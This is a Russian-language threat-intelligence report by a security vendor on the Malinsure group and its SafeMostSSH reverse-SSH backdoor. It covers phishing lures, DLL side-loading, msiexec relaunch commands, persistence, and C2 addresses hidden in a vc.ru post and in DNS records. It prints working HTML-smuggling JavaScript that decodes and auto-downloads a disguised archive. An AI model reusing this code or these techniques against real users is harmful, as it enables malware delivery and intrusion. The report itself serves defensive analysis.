Страховой случай: изучаем инструменты и инфраструктуру новой киберпреступной группировки Malinsure

Привет! На связи — специалисты департамента киберразведки компании F6.

Исследователи ежегодно фиксируют появление новых киберпреступных группировок, нацеленных на российские компании. В большинстве случаев эти угрозы — не результат ребрендинга, раскола или реорганизации уже известных кластеров, перезапущенных под новым именем, а действительно новые группировки с уникальными инструментами, инфраструктурой и TTPs.

В июле 2026 года на одной из публичных онлайн-песочниц мы обнаружили семплы вредоносного программного обеспечения, загруженные с территории Российской Федерации и объединенные именованием файлов, связанным с тематикой добровольного медицинского страхования (ДМС). Эти семплы не удалось атрибутировать известному ВПО, в связи с чем данное ПО — бэкдор — было признано уникальным.

Вредоносной программе мы присвоили название SafeMostSSH, образованное от следующих уникальных признаков: Safe — от URL-адреса, который использовался в первом канале связи с C2, Most — от слова telemost, упомянутого в имени домена, через который также осуществлялась доставка команд, и SSH — указывает на основной протокол взаимодействия.

Мы не обнаружили какой-либо известной группировки, которая использовала бы такое ВПО, сетевую инфраструктуру, а также TTPs, в связи с чем отслеживаем эту активность как новый кластер угроз с наименованием Malinsure (от англ. insure — страхование, по профилю компании, от имени которой злоумышленники распространяли файлы-приманки). Содержимое обнаруженных файлов-приманок связано также с компаниями из финансовой сферы и топливно-энергетического комплекса, что указывает на вероятный спектр целей злоумышленников.

В числе особенностей ВПО, которое использует эта группировка, можно отметить необычный способ получения новых адресов С2 (управляющих серверов) из внешних источников. В качестве одного из таких источников используется пост на популярной российской медиаплатформе о бизнесе и технологиях vc.ru, посвящённый автозапчастям. В тексте поста размещены две ссылки, которые формально ведут на PNG-файл, размещённый на Google.com, однако на самом деле эти ссылки — ложные: Google не находит на сайте запрашиваемый URL. Ложные ссылки используются для маскировки С2-адресов, которые зашифрованы в теле ссылки: ВПО декодирует эту информацию и получает необходимые данные.

Более подробно эти и другие особенности группировки рассмотрим далее.

Зловредное страхование

Первым шагом, с которого начиналась атака Malinsure, были фишинговые письма. Один из таких примеров — электронное письмо с темой «Акция! ДМС со скидкой до 60% для родственников» (SHA-1: 40f799f997cb3a8162bded7b64575cad519ca6db), направленное с электронного почтового ящика mutewinter78@gmail.com и почтового сервера, расположенного на хосте 191.44.37[.]222. Внутри — файл с именем «ДМС обновления.pdf» (SHA-1: 9a5d438119eb1548aa5db803eeefb4fcbad12344).

Файл содержит информацию о порядке действий, необходимых для получения документа, связанного с обновленной программой ДМС российской страховой компании. В тексте документа пользователю предлагают перейти по ссылке: hxxps://{название компании}-filesharing[.]ru/%D0%98%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F%20%D0%B2%20%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B5%20%D0%94%D0%9C%D0%A1.rar.

В результате перехода по указанной ссылке на устройство жертвы загружается архив с именем Изменения в программе ДМС.rar (SHA-1: 01bfd6f549ae0b6458bb26b605dbdc2e468ef576).

Анализ ВПО доступен в F6 Malware Detonation Platform

Архив содержит следующие файлы:

● Программа ДМС в ред 13.07.2026.docx.exe (SHA-1: 6857ece28c264b5099377eb54cb8a5e2e3ea8bd2);

● settings (SHA-1: 896bae561c66b3f82ced36deed075b47f5b46069);

● C2R64.dll (SHA-1: 57cbbf5ab2d5571fef8a2093806ca56372069343);

● AppVIsvSubsystems64.dll (SHA-1: c97ed35b1d90b0f2c3f0e3d621f2b5d4b2dc1377).

В ходе дальнейшего исследования обнаружены и другие семплы, аналогичные вышеуказанному:

Содержимое обнаруженных файлов-приманок, как мы отмечали выше, связано с компаниями из страховой, финансовой и нефтяной сфер, а среди доменов злоумышленников встречаются gosuslugi[.]email и minfin[.]supportчто может указывать на широкий спектр целей злоумышленников.

Стоит отметить, что в ходе исследования был обнаружен дополнительный способ доставки полезной нагрузки, в рамках которого атакующие распространяли shtml- и htm-файлы.

Указанные файлы содержат полезную нагрузку, закодированную в base64 и hex соответственно. В результате запуска данных файлов происходило извлечение полезной нагрузки, которая сохранялась на устройстве жертвы в виде архива.

<animate onrepeat="var b=atob('{Полезная нагрузка}'.split('').reverse().join('')),a=new Uint8Array(b.length),i=0;for(;i<b.length;i++)a[i]=b.charCodeAt(i);var b=new Blob([a],{type:'application/octet-stream'});var u=window.URL.createObjectURL(b);fetch(u).then(function(r){return r.blob()}).then(function(bl){var bu=window.URL.createObjectURL(bl);var l=document.createElementNS('http://www.w3.org/1999/xhtml','a');l.href=bu;l.download='Специальное предложение ***нефть.rar';(document.body||document.documentElement).appendChild(l);l.click();l.remove();window.URL.revokeObjectURL(bu);window.URL.revokeObjectURL(u);var _d=document;try{if(parent&&parent.document!==_d)_d=parent.document}catch(_e){}var _f=function(){var sl=_d.getElementById('sl'),sd=_d.getElementById('sd');if(sl)sl.style.display='none';if(sd)sd.style.display='block'};var _lo=false,_w=window;try{if(parent&&parent!==window)_w=parent}catch(_e){}_w.addEventListener('blur',function(){_lo=true});_w.addEventListener('focus',function(){if(_lo)_f()});setTimeout(function(){if(!_lo)_f()},1500)});" attributeName="x" dur="0.01s" repeatCount="2"></animate>

<div onfocusin="var h='{Полезная нагрузка}',a=new Uint8Array(h.length/2),i=0;for(;i<a.length;i++)a[i]=parseInt(h.substr(i*2,2),16);var b=new Blob([a],{type:'application/octet-stream'});var r=new FileReader();r.onloadend=function(){var l=document.createElementNS('http://www.w3.org/1999/xhtml','a');l.href=r.result;l.download='Зарплатный проект *** нефть.zip';(document.body||document.documentElement).appendChild(l);l.click();l.remove();var _d=document;try{if(parent&&parent.document!==_d)_d=parent.document}catch(_e){}var _f=function(){var sl=_d.getElementById('sl'),sd=_d.getElementById('sd');if(sl)sl.style.display='none';if(sd)sd.style.display='block'};var _lo=false,_w=window;try{if(parent&&parent!==window)_w=parent}catch(_e){}_w.addEventListener('blur',function(){_lo=true});_w.addEventListener('focus',function(){if(_lo)_f()});setTimeout(function(){if(!_lo)_f()},1500)};r.readAsDataURL(b);" autofocus tabindex="1" style="position:absolute;opacity:0;width:0;height:0"></div>

Цепочки атак

В ходе исследования указанных файлов специалисты F6 выявили две вариации цепочки атак, мало отличающиеся между собой.

В общем случае в основе цепочки атаки лежит доставка архива, который содержит легитимный файл winword.exe или powerpnt.exe с измененным именем, мимикрирующим под тематику рассылки и использующим двойное расширение в имени, а также файлом-приманкой и одним или двумя DLL-файлами, скрытыми от пользователя посредством установки соответствующего атрибута.

Первый вариант

В первом варианте распространяется RAR- или ZIP-архив с расположенной внутри одноименной директорией. Внутри нее располагаются 4 файла:

● EXE-файл (в примере — Программа ДМС в ред 13.07.2026.docx.exe) — легитимный winword.exe-файл (SHA256: e5d22ec52db82df6fefd8a093ca57400eefb735a278229cd955dfb23565f40e0);

● файл-приманка (в примере — settings) — отвлекающий документ, который запускается в результате исполнения цепочки атаки;

● AppVIsvSubsystems64.dll — в данном случае легитимная библиотека, загружаемая исполняемым файлом winword.exe;

● C2R64.dll — вредоносная библиотека, загружаемая техникой DLL Side-Loading, библиотекой AppVIsvSubsystems64.dll.

После запуска легитимного файла winword будет загружена библиотека AppVIsvSubsystems64.dll, которая, в свою очередь, загружает вредоносную библиотеку C2R64.dll. Данная библиотека после загрузки выполнит основную функцию, в ходе которой перезапустит себя командой:

C:\Windows\System32\msiexec.exe /Passive /Quiet -z "{filepath}\C2R64.dll"

Это позволяет реализовать технику LOLbin (Living off the Land), при этом вызывается функция DllUnregisterServer, которая является одной из точек входа в реализацию вредоносного кода.

C примером техники можно ознакомиться в проекте lolbas.

Второй вариант

В втором варианте цепочки атаки вместо winword.exe используется легитимный файл powerpnt.exe (SHA-1: 90f2a35252a3865f18b1720915ac28a348e042a3). В данной цепочке вредоносной библиотекой является сразу AppVIsvSubsystems64.dll без использования C2R64.dll. При загрузке вредоносной библиотеки также используется перезапуск себя с техникой LOLbin через команду:

C:\Windows\System32\msiexec.exe /Passive /Quiet -z "{filepath}\AppVIsvSubsystems64.dll".

Технические детали (SafeMostSSH)

SafeMostSSH — многофазный бэкдор, использующий легитимные бинарные файлы Microsoft (winword.exe, powerpnt.exe) в качестве отправной точки. В ходе исполнения ВПО реализовывает DLL‑Side‑Loading, LOLbin‑техники (msiexec). Кроме того, SafeMostSSH автоматически восстанавливает свои компоненты из скрытого бэкапа и умеет получать новые C2‑точки из публично доступных ресурсов (VC.ru, CNAME‑lookup).

В результате исполнения ВПО обеспечивает атакующему постоянный обратный SSH‑туннель к управляемому С2. Оригинальные точки входа ВПО — функции DllRegisterServer и DllUnregisterServer, которые вызывают функцию main_DllUnregisterServer. Также в коде найдены и другие функции, с которых запускалась часть активности, к примеру main_main, но ее запуск в коде найден не был. Вероятно, она использовалась при тестировании ВПО.

После запуска выполняется поиск файла по SHA256-хеш-сумме в директории, где расположена библиотека:

● e5d22ec52db82df6fefd8a093ca57400eefb735a278229cd955dfb23565f40e0 (для winword.exe)

● 6fd5e00ebc677da738851c0adbb85f9332ccd2459827defd4ed38a25bfb02c37 (для powerpnt.exe)

Далее будет найден файл-приманка, его имя жестко закодировано внутри ВПО, в анализируемом файле имя — settings. Затем выполняется проверка наличия данного файла в директории с библиотекой и запуск через Word или PowerPoint в зависимости от того, какой файл был найден по хеш-сумме. При попытке запустить документ изначально используется файловый путь по умолчанию:

● C:\Program Files\Microsoft Office\root\Office16\winword.EXE и C:\Program Files (x86)\Microsoft Office\Office16\winword.EXE для winword.exe

● C:\Program Files\Microsoft Office\root\Office16\powerpnt.EXE и C:\Program Files (x86)\Microsoft Office\Office16\powerpnt.EXE для powerpnt.exe

В случае если запуск не выполнен, ВПО будет использовать файл, найденный по хеш-сумме из директории библиотеки.

Далее происходит проверка, находится ли зараженная система в домене, путем выполнения функции NetGetJoinInformation и проверки флага подключения к рабочей группе (NetSetupDomainName). В случае, если компьютер не в домене, ВПО завершает работу. В ином случае продолжает свое исполнение.

Затем ВПО собирает метаинформацию о ВПО и процессе исполнения, которая собирается в символьную строку и добавляется к одному из доменных имен, которые хранятся в файле в закодированном виде описанным ранее алгоритмом:

● app.telemost-ads.net

● static.telemost-ads.net

● ms.telemost-ads.net

Далее ВПО будет последовательно задействовать указанные домены для получения ассоциированного IP-адреса. Процесс будет продолжаться либо до тех пор, пока не будет получен нужный IP либо пока не закончится список доменов. Однако в ходе исследования применения данного IP-адреса обнаружено не было. Шаблон формирования домена: {1}{2}{3}{4}{5}{6}.{domain}, где

● {1} — символ из набора (A | B | C) в зависимости от того, найден был ранее файл winword.exe, powerpnt.exe или другой результат;

● {2} — символ из набора (G | H | I) в зависимости от того, был запущен файл-приманка, презентация или ничего запущено не было;

● {3} — символ из набора (J | K | L | M | N) в зависимости от конфигурационной строки соответствующей темы файлов-приманок, под которую мимикрирует атака;

● {4} — символ из набора (U | I | O) в зависимости от типа килчейна A (цепочка атаки с использованием библиотеки C2R64), B (цепочка атаки где вредоносный код находится сразу в библиотеке AppVIsvSubsystems64) или не соответствующий ни одному из представленных;

● {5} — символ из набора (W | Y) в зависимости от того, запущен ли файл из директории для закрепления в системе или нет (логика закрепления в системе описана ниже);

● {6} — жестко закодированная строка внутри семпла (в примере из исследуемого файла abe3, но также были найдены: 0b6d, 8bee, 9ab4, 7bae, c1f5, 48f3, b43b).

Пример сгенерированного домена: agluyabe3.static.telemost-ads.net.

Далее выполняются проверки закрепления в системе и наличия бекапов.

Проверка закрепления

Логика закрепления в системе описана ниже. На текущем этапе выполняется проверка наличия файлов в одном из четырёх выбираемых для закрепления файловых путей, а также наличия одного из LNK-файлов в Startup-директории.

Проверка наличия бэкапов

Логика создания бэкапа также описана ниже. В данном этапе выполняется проверка наличия всех необходимых файлов по файловому пути %APPDATA%\Microsoft\Internet Explorer\UserData\Low.

Если на этапе проверок они не были выполнены успешно (не найдены все необходимые файлы), процесс исполнения переходит к закреплению в системе и созданию бэкапов.

Закрепление в системе

Для закрепления в системе, ВПО случайным образом выбирает один из файловых путей:

● %APPDATA%\Microsoft\Office\Cache

● %APPDATA%\Microsoft\Edge\History

● %APPDATA%\Microsoft\Excel\Recents

● %APPDATA%\Microsoft\Spelling\ru-RUs

И выполняет копирование собственных файлов в данную директорию. В случае с изначальным файлом, являющимся легитимным winword.exe или powerpnt.exe, файлы копируются с оригинальным названием. Также перемещенным файлам добавляются флаги скрытых и системных файлов.

После этого ВПО переходит к созданию LNK-файла и INI-файла в директории автозапуска. Имя LNK-файла будет сформировано в зависимости от случайно выбранной директории:

● Word.lnk

● Microsoft Edge.lnk

● Excel.lnk

● Share Point.lnk

Создание LNK-файла выполняется через изначальное создание файла desktops.ini в директории автозагрузки и последующим его переименованием в заранее определенное имя для LNK. Сам ярлык запускает файл winword.exe или powerpnt.exe из директории, в которую были скопированы файлы.

Создание бэкапов

ВПО копирует файлы в директорию %APPDATA%\Microsoft\Internet Explorer\UserData\Low и скрывает файлы. Копирование выполняется по следующему соответствию имен:

Легитимный winword или powerpnt -> userSettings.db

AppVIsvSubsystems64.dll -> userData.db

C2R64.dll -> userLog.db (только для цепочки заражения с использованием winword.exe)

LNK -> image.edb

Также ВПО создает в данной директории desktops.ini с содержимым в виде директории, в которую были скопированы файлы для закрепления в системе, и извлекает из собственных ресурсов (Embed) файл по внутреннему расположению dll/rpc64.dll с именем rpc64.dll. Ко всем файлам внутри директории также добавляются флаги скрытых и системных файлов.

Далее выполняется загрузка в память извлеченной библиотеки rpc64.dll, использующейся для создания невидимого пользовательского окна, логирования сообщений, проверки персистентности системы и ее востановлении из директории бэкапов. Подробнее она описана в разделе SafeMostSSH.Monitor.

Запуск сервиса клиента reverse ssh

Перед началом проверки состояния исполнения и запуска основной логики обратного ssh ВПО выполняет установку настроек через функцию makeInitialSettings. Стоит отметить, что логика настроек полностью пересекается с аналогичной функцией в публично доступной реализации инструмента.

В коде исследуемого ВПО обнаружена строка с опечаткой в слове host «Couldnt get hosft name: %s», которая отсутствует в вышеуказанных проектах.

Ниже представлен разбор основных настроек на примере и пояснение к ним:

• «32b2f2eb6d2d72f4e4c4bd52d2e2d4acbcc4bd72b2ab5323131060071e066b219» — Hex-строка части C2, сжатого через Gzip

• «4896263b9af31d49666a701d2e5320e751ce8b26f3b5395dc01deb35d5f9f124» — Fingerprint

• true — установленный флаг аналогичный полю настроек ProxyUseHostKerberos

• true — установленный флаг аналогичный полю настроек ProxyAutoDetect

• «/uzqbepcdfzfwh0e» — установленный путь для WS-запросов, поле аналогичное настройке WSPath

Исходя из изученных нами образцов ВПО установлено, что в настройках отличались только C2-адрес и WSPath.

Далее выполняется проверка, является ли запущенный процесс сервисом (стандартная функция IsWindowsService). Если процесс не является сервисом или при проверке возникла ошибка, выполняется переход к запуску основной логики запуска reverse ssh клиента (функция Run). В ином случае процесс исполнения перейдет к функции запуска сервиса runService с передачей имени сервиса «rssh». Также и основная функция с проверкой выполнения как сервис и запуск активности представлена в примерах Google. Внутри функции runService к запуску передается функция Run. Этот код также используется в проекте Reverse SSH.

Основная логика клиента reverse ssh не претерпела каких-либо значительных изменений: протокол взаимодействия полностью соответствует изначальному. Основное отличие данных функций заключается в декодировании и получении дополнительных C2-адресов. Все адреса, которые хранятся внутри файла и на внешнем ресурсе, имеют вид части Hex-строки по результату сжатого алгоритмом Gzip управляющего сервера. Пример декодирования:

1. закодированная строка (пример: 32b2f2eb6d2d72f4e4c4bd52d2e2d4acbcc4bd72b2ab5323131060071e066b219) оборачивается в строку формата 1f8b080000000000000{coded_str}000000;

2. приводится в бинарный формат из Hex-строки;

3. выполняется декомпрессия алгоритмом Gzip.

В итоговом примере будет получен C2 — wss[:]//safe-surfing[.]ru:443

После начала работы декодируются зашитые внутри семпла C2-адреса. В известных нам примерах в каждом семпле был только один C2-адрес, однако они могут быть перечислены через разделительный символ «,». При подключении к C2 ведется подсчет попыток подключения. Если попыток было более 100, семпл прекращает свою работу, после четвёртой неудачной попытки семпл переходит к сбору новых C2 из внешних источников.

Сбор С2 из внешних источников

У исследуемого ВПО мы обнаружили два способа получить новые С2-адреса из внешних источников.

Первый способ: VC.ru

ВПО выполняет запрос к ссылке, ведущей на пост пользователя на платформе vc.ru: https://vc.ru/id6030334/3009787-gde-nayti-zapchasti-dlya-great-wall-safe (опубликован 3 июля 2026 года, 12 августа по обращению F6 удалён администрацией платформы).

При запросе используется User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36. С получаемой страницы собираются ссылки, соответствующие регулярному выражению:

"https?://(?:[a-zA-Z0-9-]+\\.)*google\\.com[^\\s\"'<>()\\\\]*".

В примере выше собранные ссылки:

https://google[.]com/32b2f2eb6d2d72f2d48492c492d4f4d2a2a49d62b2ab53231310600ec27324219.png

https://google[.]com/32b2f2eb6d2d72f4ecc4d4a2c2ec92f4ad52b2ab5323131060036feec6b17.png

Из данных ссылок будут взяты Hex-строки имен файлов, к которым выполняется обращение, после чего они будут декодированы по алгоритму, аналогичному тому, который используется для декодирования хранящихся в семпле C2. В данном примере декодированные адреса:

wss[:]//updatewebrtc[.]ru:443wss[:]//sambastore[.]ru:443

Второй способ: CNAME lookup

Внутри ВПО хранится закодированный (34b2ed62b49cd49cdcd2f2ed14d4c29d6cb4b2d01003c75a27b13) домен cs[.]telemost-ads[.]net, к данному домену выполняется запрос CNAME-записи.

После из полученного поля будут удалены символы «.» и данная строка будет декодирована стандартным алгоритмом. Декодированные адреса из примера:

wss[:]//tlswebsurfing[.]ru:443, wss[:]//glonastracking[.]ru:443

После чего данные адреса собираются в один список и используются для создания соединения.

Логирование

Внутри библиотеки также реализовано отслеживание подгрузки библиотек, логирование ведется в файл по пути C:\ProgramData\dll_load.txt, с шаблоном записи: {ms_system_startup}|{username}: {main_module_path} -> {loaded_dll_path} | {empty_str}\n. Пример: 978481421|{username}: C:\Windows\System32\rundll32.exe -> {filepath}\AppVIsvSubsystems64.dll | . Также внутри файла присутствует функция с дополнительным логированием в файл c:\programdata\debug_error_log.txt, которая логирует строки с форматом [NTSTATUS ERROR] %s | Status Code: 0x%08X, однако ее использования найдено не было.

SafeMostSSH.Monitor

Данная библиотека извлекается и подгружается в память ВПО в ходе инициализации. Основная задача данной библиотеки — создание окна и отслеживание сообщений с целью логирования состояния, контроля бекапирования и закрепления в системе ВПО.

После запуска DllMain функции устанавливается перехват функции GetMessageW. Однако перехват будет выполнен единожды для запуска собственного потока мониторинга состояния, после того как был выполнен перехват и запущен поток, хук будет отключен и происходит установка флага инициализации потока, проверка которого выполняется перед запуском нового потока для предотвращения повторного запуска.

Поток мониторинга создает невидимое пользовательское окно с собственным обработчиком и названием «SessionMonitorWindowClass». После этого выполняется регистрация WTS-уведомлений (Windows Terminal Services или Remote Desktop Services в новых версиях Windows). Далее выполняет переход к функции инициализации всех необходимых файловых путей. После чего выполняется получение и обработка сообщений для созданного окна.

Обработчик окна

Обрабатывает сообщения:

● WM_WTSSESSION_CHANGE

● WM_ENDSESSION

● WM_QUERYENDSESSION

● WM_DESTROY

● WM_CLOSE

При получении сообщения WM_WTSSESSION_CHANGE выполняет логирование получаемых событий:

● WTS_REMOTE_CONNECT

● WTS_REMOTE_DISCONNECT

● WTS_SESSION_LOGOFF

● WTS_SESSION_LOCK

● WTS_SESSION_UNLOCK

Сами события далее обрабатываются по умолчанию.

Также при получении событий WM_ENDSESSION, WM_DESTROY и WM_CLOSE выполняется обработка по умолчанию и в случае WM_ENDSESSION выполняется логирование информации о получении сообщения.

В случае получения сообщения WM_QUERYENDSESSION выполняется проверка наличия необходимых файлов в директории, предназначенной для достижения персистентности в системе (набор winword.exe, AppVIsvSubsystems64.dll, C2R64.dll или powerpnt.exe, AppVIsvSubsystems64.dll) и проверка наличия LNK-файла в Startup-директории. Если проверка наличия файлов не пройдена, выполняет копирование файлов из директории бэкапов в директорию для закрепления в системе, в случае успешного копирования файлов выполняет копирование LNK-файла в Startup-директорию с именем «Word.lnk».

Больше подробностей, исследование сетевой инфраструктуры группировки Malinsure, индикаторы компрометации — в блоге на сайте F6.